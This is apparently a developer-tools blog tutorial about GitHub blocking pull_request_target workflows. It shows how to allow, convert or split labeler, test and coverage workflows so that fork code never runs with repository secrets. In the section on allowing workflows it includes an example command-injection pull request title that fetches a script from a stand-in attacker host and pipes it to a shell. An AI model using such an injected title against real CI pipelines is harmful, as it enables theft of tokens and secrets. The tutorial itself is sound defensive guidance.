Back to all posts
Tutorial
8 min read

pull_request_target Blocked: How to Fix It

DevToolLab Team

DevToolLab Team

December 5, 2026

pull_request_target Blocked: How to Fix It

Since December 2, 2026, GitHub blocks workflows that start on pull_request_target in public repositories. They now fail before any job runs. To fix one, ask a single question: does it run code from the pull request? If not, allow it for that one file. If it does, switch it to the pull_request trigger.

Many open source projects use pull_request_target for small jobs like adding labels or posting a comment. These jobs run on pull requests from forks, which are copies of the repo owned by other people. When GitHub blocks it, the workflow file still looks fine. Contributors just get "No jobs were run" emails, and if a required check never runs, every open pull request gets stuck. For example, say we maintain an npm package with three workflows on that trigger. labeler.yml adds labels, test.yml runs npm test, and coverage.yml runs the tests and posts the coverage numbers as a comment. Each one needs a different fix.

Why Your Workflow Suddenly Stopped

Open a failed run and you'll see this message:

"

GitHub restricts pull_request_target on public repositories by default. To allow the event trigger, configure an Actions policy.

The run status is startup_failure, which means GitHub stopped it before any job started. GitHub added this rule on September 17, 2026. It switched the block on for two hours on November 9 and again on November 16 as a test, then turned it on for good on December 2, according to the GitHub changelog. It affects public repositories on GitHub Free, Team and Enterprise Cloud. Private repositories are not affected, and neither is GitHub Enterprise Server.

Here is why GitHub did it. A pull_request_target workflow runs with your repository's secrets (API keys, publish tokens) and a token that can write to the repo. That is safe as long as it only runs your own code. But if a step downloads the fork's code and runs npm ci, the person who opened the pull request controls the package.json scripts that run. Their code now runs with your secrets. This attack is called a "pwn request."

The pull request text can be just as dangerous. On August 26, 2025, an attacker put shell commands in a pull request title. An Nx workflow printed that title in a script, the commands ran, and the attacker stole Nx's npm token. They used it to publish harmful Nx versions for four hours, according to the Nx postmortem.

GitHub had already added a smaller guard earlier in the year. Since actions/checkout v7 came out on June 18, 2026, it refuses to download a fork's code in these workflows. The older v2 to v6 tags got teh same check on July 20, 2026. Workflows that still work around it usually set allow-unsafe-pr-checkout: true.

Find the Workflows That Use It

Run one command in your repository. It lists every workflow file that mentions the trigger:

Bash
$ grep -rl pull_request_target .github/workflows
.github/workflows/coverage.yml
.github/workflows/labeler.yml
.github/workflows/test.yml

GitHub also shows blocked runs on the Policy insights page. You'll find it under Settings, then Actions, then Policies. It also catches workflows on branches other than main.

The quickest way to decide what to do with each file is to paste it into the pull_request_target Checker. It points to any step that would run the fork's code with your secrets and tells you which fix to use. For workflows that are safe to allow, it also writes the policy for you. It only reads the file you paste, so if that file calls another workflow, check that one too.

The pull_request_target Checker shows the "Split it" fix for a coverage workflow and flags the npm ci step that runs the fork's code
The pull_request_target Checker shows the "Split it" fix for a coverage workflow and flags the npm ci step that runs the fork's code

Ask One Question: Does It Run the Pull Request's Code?

Each workflow fits one of three cases:

WorkflowRuns the PR's code?Needs secrets or write access?Fix
labeler.ymlNoYes, to add labelsAllow it for this one file
test.ymlYesNoSwitch it to pull_request
coverage.ymlYesYes, to post the commentSplit it into two workflows

"Running code" covers more than you might think. npm ci runs install scripts, and a test runner loads its settings from the downloaded files. GitHub's rule is simple: if a workflow ever runs files from the pull request, it should not use pull_request_target.

Flowchart: a workflow that runs the pull request's code moves to pull_request, or is split in two if it needs a token; a workflow that never runs it is allowed for its own file
Flowchart: a workflow that runs the pull request's code moves to pull_request, or is split in two if it needs a token; a workflow that never runs it is allowed for its own file

Allow the Labeler Workflow

labeler.yml never downloads the pull request's code. It only reads the list of changed files and adds labels. Adding labels needs write access, and a normal pull_request run from a fork only gets read access. So this is the kind of workflow GitHub says you can allow:

yaml
name: Label pull requests
on:
  pull_request_target:
    types: [opened, synchronize]
permissions:
  contents: read
  pull-requests: write
jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/labeler@v7

To allow it, go to Settings, then Actions, then Policies, and create a new policy. Set it to Active, point it at the file .github/workflows/labeler.yml, and add an event rule that allows pull_request_target. Only a repository admin can do this.

Watch out for one thing. The event rule lists the only events that file may run on. So if labeler.yml also ran on issues and you only listed pull_request_target, the issues runs would stop too. List every event the file uses. The evcc maintainers listed pull_request_target, issues and issue_comment for exactly this reason.

You can also create the policy from a terminal. Save this as policy.json:

JSON
{
  "name": "Allow pull_request_target for labeler.yml",
  "enforcement": "active",
  "conditions": {
    "workflow_path": { "include": [".github/workflows/labeler.yml"], "exclude": [] }
  },
  "rules": [
    { "type": "restrict_action_events", "parameters": { "allowed_events": ["pull_request_target"] } }
  ]
}
Bash
gh api -X POST repos/OWNER/REPO/actions/policies --input policy.json

This follows GitHub's Actions policies API reference, and your token needs Administration write permission. We didn't test this request on a real repository, so check the policy in Settings afterward.

Before you allow any workflow, look for ${{ github.event.pull_request.title }}, .body or github.head_ref inside a run: step. That is the Nx bug, and it doesn't need any downloaded code. GitHub pastes the title into the script before it runs, so a title like $(curl -s attacker.example | sh) runs as a command. The fix is to pass the value in through env: and use the variable in quotes:

yaml
- env:
          PR_TITLE: ${{ github.event.pull_request.title }}
        run: echo "$PR_TITLE" | grep -E '^(feat|fix|docs):'

We tried both versions in bash with that title. The first one ran the command. The env: version just printed it as text.

Switch the Test Workflow to pull_request

test.yml only used pull_request_target so it could download the pull request's code with ref: ${{ github.event.pull_request.head.sha }}. It doesn't use any secrets and doesn't write anything, so it doesn't need the extra access. Change the trigger to pull_request and delete the ref: line. With pull_request, checkout already downloads the pull request's code by default:

yaml
name: Test
on:
  pull_request:
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: 24
      - run: npm ci
      - run: npm test

Runs from forks now get read-only access and no secrets. By default, a maintainer also has to approve runs from first-time contributors. If your tests need a secret, give them a dummy test value so fork runs still pass.

Split the Coverage Workflow in Two

coverage.yml is the tricky one. It runs the fork's tests, and then it needs write access to post a comment. No single trigger can do both safely, so we split it into two files.

The first file runs on pull_request. It runs the tests with read-only access and saves the results as an artifact (a file the workflow uploads for later):

yaml
name: Coverage
on:
  pull_request:
permissions:
  contents: read
jobs:
  coverage:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: 24
      - run: npm ci
      - run: npx jest --coverage --coverageReporters=text-summary > coverage-summary.txt
      - env:
          PR_NUMBER: ${{ github.event.pull_request.number }}
        run: echo "$PR_NUMBER" > pr-number.txt
      - uses: actions/upload-artifact@v7
        with:
          name: coverage
          path: |
            coverage-summary.txt
            pr-number.txt

The second file runs on workflow_run, which starts when the first one finishes. It has write access, but it never downloads the pull request's code. It only reads the saved results and posts them:

yaml
name: Coverage comment
on:
  workflow_run:
    workflows: [Coverage]
    types: [completed]
permissions:
  actions: read
  pull-requests: write
jobs:
  comment:
    if: github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v8
        with:
          name: coverage
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ github.token }}
      - env:
          GH_TOKEN: ${{ github.token }}
        run: |
          PR_NUMBER=$(cat pr-number.txt)
          [[ "$PR_NUMBER" =~ ^[0-9]+$ ]] || exit 1
          gh pr comment "$PR_NUMBER" --repo "$GITHUB_REPOSITORY" --body-file coverage-summary.txt

The first workflow saves the pull request number in the artifact because the second one doesn't get it from GitHub, as the GitHub Security Lab guide explains. Treat that artifact like something a stranger wrote. The script checks that the number contains only digits, and it posts the summary without ever running it. All four workflows in this post pass actionlint 1.7.12 (including its shellcheck checks) with 0 errors.

Errors You May See

GitHub restricts pull_request_target on public repositories by default. The run stops with startup_failure, so there are no logs to read. The evcc maintainers found they couldn't re-run blocked runs. After you fix the workflow, push a new commit or reopen the pull request to start a fresh run.

Refusing to check out fork pull request code from a 'pull_request_target' workflow. This comes from actions/checkout, not from the new rule. Setting allow-unsafe-pr-checkout: true makes it go away, but that's only safe if nothing in the job runs the downloaded files. For a test or build job, switch to pull_request instead.

Error: HttpError: Resource not accessible by integration shows up when you move a labeler or comment bot to pull_request, because fork runs recieve read-only access. That workflow should be allowed with a policy or split in two instead.

Every open pull request shows as blocked. A required check that only ran on pull_request_target never reports back, so nothing can merge. This happened to The Blue Alliance. The pull request that fixes the workflow needs an admin to merge it, because its own required checks can't run until the fix is on main.

When Not to Allow It

Don't add an allow policy just to make a failing run pass. If a workflow builds, tests or installs anything from the pull request, allowing it brings back the exact risk GitHub just removed. GitHub's docs also don't say whether allowing one file changes the block on your other pull_request_target files, so fix those too instead of relying on the block. Be extra careful with self-hosted runners: an attack there runs on your own machine.

Conclusion

Run the grep command, then ask one question about each file: does it run the pull request's code? In our example, the labeler gets an allow policy for .github/workflows/labeler.yml that lists every event it uses. The test workflow switches to pull_request and drops the ref: line. The coverage workflow splits in two: one file runs the tests, and the other posts the comment without running any downloaded code. If you're not sure where a workflow fits, paste it into the pull_request_target Checker and fix anything it marks as critical first.

  • pull_request_target Checker - paste a workflow to see which fix it needs, which steps run the fork's code, and a ready-made policy.
  • GitHub Actions Validator - check your updated workflow files for mistakes and outdated action versions before you push them.
  • GitHub Actions Generator - start a new pull_request test workflow from a template instead of editing the old one.
  • JSON Validator - make sure policy.json is valid before you send it, so a missing comma doesn't fail the request.

Related Posts

How to Add a Drag-and-Drop Email Editor

We can embed a drag-and-drop email editor in a web app with Stripo Plugin, keep the Secret Key on our server and save both editable and compiled HTML.

By DevToolLab Team•

How to Create a Video Using AI for Free

We can create a video using AI for free with a script, a local AI voice and a code renderer, or let Gemini, Runway or HeyGen build it from a prompt.

By DevToolLab Team•

How to Decode Base64 in Terminal and Code

Decode Base64 with base64 -d, Python's b64decode or Node's Buffer, turn it back into a file, and fix Incorrect padding and atob errors.

By DevToolLab Team•